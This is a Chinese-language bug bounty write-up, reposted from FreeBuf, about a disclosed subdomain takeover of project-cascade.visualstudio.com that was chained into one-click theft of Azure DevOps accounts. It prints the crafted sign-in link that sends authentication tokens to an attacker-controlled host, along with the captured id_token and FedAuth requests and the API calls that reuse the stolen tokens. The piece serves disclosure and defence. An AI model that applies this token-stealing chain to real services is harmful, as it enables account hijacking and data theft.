当测试子域名劫持漏洞(subdomain takeover)时,通常需要明白利用劫持域名能做什么,其产生的实际危害和影响有多大。最近,作者就劫持了微软开发者网站子域名project-cascade.visualstudio.com,并利用它实现了针对集成开发环境Azure DevOps账户的一键劫持。一起来看看。

域名劫持

通过自动化测试,我们发现了*.visualstudio.com的一个子域名-project-cascade.visualstudio.com,它的NS记录指向了Azure DNS,但从lookup的解析结果来看,却是被拒绝掉的(Refused):

dns-takeover lookup project-cascade.visualstudio.com. on nameserver ns3-05.azure-dns.org status: [Refused]           
dns-takeover lookup project-cascade.visualstudio.com. on nameserver ns2-05.azure-dns.net status: [Refused]
dns-takeover lookup project-cascade.visualstudio.com. on nameserver ns1-05.azure-dns.com status: [Refused]          
dns-takeover lookup project-cascade.visualstudio.com. on nameserver ns4-05.azure-dns.info status: [Refused]

从上述Refused状态的lookup解析中可以看出,project-cascade.visualstudio.com本来是注册指向Azure DNS的,但是,现在它在Azure DNS的注册指向是空的了,也就是说,我们可以用手头现有的Azure账户来注册获得(takeover)这个子域名,然后往其中创建任意的DNS记录。注册后的project-cascade.visualstudio.com状态如下:

然后,往其中添加两条解析记录:

TXT Record - txt.project-cascade.visualstudio.com (附带Azure DNS Zone Takeover POC的域名设置说明信息)
A Record - arec.project-cascade.visualstudio.com (添加到 由我们控制IP地址3.88.203.203的记录)

用dig命令来查询验证一下:


$ dig txt txt.project-cascade.visualstudio.com @1.1.1.1 ...omitted for brevity... ;; ANSWER SECTION: txt.project-cascade.visualstudio.com. 10 IN TXT "Azure DNS Zone Takeover POC"
$ dig a arec.project-cascade.visualstudio.com @1.1.1.1

...omitted for brevity...

;; ANSWER SECTION:
arec.project-cascade.visualstudio.com. 2475 IN A 3.88.203.203

深入测试

这样看来,我们已经接管了project-cascade.visualstudio.com子域名了,那就来看看它可以产生的具体危害吧。
我们注意到,某些visualstudio.com下的子域会通过login.microsoftonline.com来进行一些身份校验,就比如访问域名app.vssps.visualstudio.com后,会产生以下跳转到login.microsoftonline.com的一个动作:

https://app.vssps.visualstudio.com/_signin?realm=app.vsaex.visualstudio.com&reply_to=https%3A%2F%2Fapp.vsaex.visualstudio.com%2F&redirect=1&context=eyJodCI6MywiaGlkIjoiNDA0ODFkZDAtZDUzMS1hMWE2LWQ0MzYtMDQxNTk3MWI0MmQ2IiwicXMiOnt9LCJyciI6IiIsInZoIjoiIiwiY3YiOiIiLCJjcyI6IiJ90#ctx=eyJTaWduSW5Db29raWVEb21haW5zIjpbImh0dHBzOi8vbG9naW4ubWljcm8zb2Z0b25saW5lLmNvbSJdfQ2

之后就会跳转到https://login.microsoftonline.com/...omitted...进行身份校验。

上述跳转校验机制中最重要的两个部份是:

https://app.vssps.visualstudio.com/_signin:

reply_to=https%3A%2F%2Fapp.vsaex.visualstudio.com%2F

经过测试我们发现,该跳转校验机制中对域名的限制比较宽松,允许任意*.visualstudio.com子域来接收身份校验token。为了验证,我们构造了以下URL测试链接:

https://app.vssps.visualstudio.com/_signin?realm=app.vsaex.visualstudio.com&reply_to=https%3A%2F%2Farec.project-cascade.visualstudio.com%2F&redirect=1&context=eyJodCI6MywiaGlkIjoiNDA0ODFkZDAtZDUzMS1hMWE2LWQ0MzYtMDQxNTk3MWI0MmQ2IiwicXMiOnt9LCJyciI6IiIsInZoIjoiIiwiY3YiOiIiLCJjcyI6IiJ90

在该构造链接中,我们把原先的reply_to参数值更改为了我们控制的子域https%3A%2F%2Farec.project-cascade.visualstudio.com%2。访问该链接后,一样会跳转到正常的microsoft live.com登录界面,当然如果当前用户是登录后状态,也一样会在其中执行跳转请求:

假设受害者访问登录了该链接,则在跳转过程中会执行一个对我们控制域名arec.project-cascade.visualstudio.com的POST请求,如下:

POST /_signedin?realm=arec.project-cascade.visualstudio.com&protocol=&reply_to=https%3A%2F%2Farec.project-cascade.visualstudio.com%2F HTTP/1.1
Host: arec.vssps.visualstudio.com
Cookie: ...omitted for brevity...

id_token=<snip>&FedAuth=<snip>&FedAuth1=<snip>%2B

则在我们控制的域名端arec.project-cascade.visualstudio.com后台,就会自动发起针对app.vsaex.visualstudio.com的一个POST请求,还会接收到受害者访问app.vsaex.visualstudio.com的另一个身份校验token信息,如下:

POST /_signedin?realm=arec.project-cascade.visualstudio.com&protocol=&reply_to=https%3A%2F%2Farec.project-cascade.visualstudio.com%2F HTTP/1.1
Host: arec.project-cascade.visualstudio.com
Content-Length: 4634
Referer: https://arec.vssps.visualstudio.com/_signedin?realm=arec.project-cascade.visualstudio.com&protocol=&reply_to=https%3A%2F%2Farec.project-cascade.visualstudio.com%2F
Cookie: ...omitted for brevity...

id_token=<snip>&FedAuth=<snip>&FedAuth1=<snip>

漏洞利用

利用上述后续获得的身份校验token,我们可以发起针对vsaex.visualstudio.com, dev.azure.com and vssps.dev.azure.com等合法域名的身份验证,形成有效登录,实现对这些账户的身份劫持。如以劫持app.vsaex.visualstudio.com账户为例,携带上述窃取token发起身份校验请求:

POST /_apis/WebPlatformAuth/SessionToken HTTP/1.1
Host: app.vsaex.visualstudio.com
Connection: close
Content-Length: 105
Origin: https://app.vsaex.visualstudio.com
X-VSS-ReauthenticationAction: Suppress
Content-Type: application/json
Accept: application/json;api-version=6.0-preview.1;excludeUrls=true
X-Requested-With: XMLHttpRequest
...omitted for brevity...
Cookie: UserAuthentication=<snipped id_token>; FedAuth=<snipped FedAuth>; FedAuth1=<snipped>

{"appId":"00000000-0000-0000-0000-000000000000","force":false,"tokenType":0,"namedTokenId":"Aex.Profile"}

之后,服务端会响应回另一个app.vsaex.visualstudio.com分配的用户有效token:

HTTP/1.1 200 OK
Cache-Control: no-cache, no-store, must-revalidate
Pragma: no-cache
Content-Length: 933
Content-Type: application/json; charset=utf-8; api-version=6.0-preview.1
...omitted for brevity...

{"appId":"00000000-0000-0000-0000-000000000000","token":"<snip>","tokenType":"session","validTo":"2020-05-12T06:45:47.2007474Z","namedTokenId":"Aex.Profile"}

利用该token,可以在app.vsaex.visualstudio.com中执行用户邮件获取,请求:

GET /_apis/User/User HTTP/1.1
Host: app.vsaex.visualstudio.com
Connection: close
X-TFS-FedAuthRedirect: Suppress
X-VSS-ReauthenticationAction: Suppress
X-Requested-With: XMLHttpRequest
Accept-Language: en-US
Authorization: Bearer <snip just recieved bearer token>
Accept: application/json;api-version=6.0-preview.1;excludeUrls=true
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36
X-TFS-Session: ab1e4b56-599c-4ab6-9f5e-756c486a0f2b
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Referer: https://app.vsaex.visualstudio.com/me?mkt=en-US
Accept-Encoding: gzip, deflate

响应:

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Length: 258
...omitted for brevity...

{"descriptor":"msa.NTg0Zjc4NDAtYzc5ZC03MWU0LWJkN2ItMDZhY2Y1N2Q2OTA1","displayName":"s","mail":"<account_email>","unconfirmedMail":null,"country":"AU","dateCreated":"2018-05-25T23:19:53.6843383+00:00","lastModified":"2019-01-06T15:43:50.2963651+00:00","revision":0}

同时,利用该窃取token,还能通过链接https://app.vsaex.visualstudio.com/me?mkt=en-US访问用户关联在dev.azure.com上的一些开发项目:

且最终能访问获取到用户托管在dev.azure.com上的项目资源。请求:

GET /seanyeoh/_usersSettings/keys?__rt=fps&__ver=2 HTTP/1.1
Host: dev.azure.com
Connection: close
x-tfs-fedauthredirect: Suppress
Origin: https://dev.azure.com
x-vss-reauthenticationaction: Suppress
authorization: Bearer <snip>
accept: application/json;api-version=5.0-preview.1;excludeUrls=true;enumsAsNumbers=true;msDateFormat=true;noArrayWrap=true
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36
Sec-Fetch-Site: same-site
Sec-Fetch-Mode: cors
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

危害影响

恶意攻击者可以构造以下链接,发送给无意受害者,实现对受害者账户的一键点击劫持:

https://app.vssps.visualstudio.com/_signin?realm=app.vsaex.visualstudio.com&reply_to=https%3A%2F%2Farec.project-cascade.visualstudio.com%2F&redirect=1&context=eyJodCI6MywiaGlkIjoiNDA0ODFkZDAtZDUzMS1hMWE2LWQ0MzYtMDQxNTk3MWI0MmQ2IiwicXMiOnt9LCJyciI6IiIsInZoIjoiIiwiY3YiOiIiLCJjcyI6IiJ90

在攻击者获得app.vsaex.visualstudio.com的访问令牌后,即能完全劫持受害者的Azure DevOps环境账户。

此外,通过对project-cascade.visualstudio.com的劫持,还可以设置MX邮件转发记录,获取*.project-cascade.visualstudio.com上的邮件数据,甚至是创建SSL证书,形成对Microsoft服务的欺诈假冒。

漏洞修复

重新注册域名project-cascade.visualstudio.com,获得对其控制权
限制app.vssps.visualstudio.com中reply_to产生的token对域app.vsaex.visualstudio.com的访问

漏洞上报和处理进程

2020.5.20 - 漏洞上报
2020.5.22 - 漏洞分类
2020.5.22 - 获得微软$3000奖励

参考来源

assetnote

本文作者:clouds, 转自FreeBuf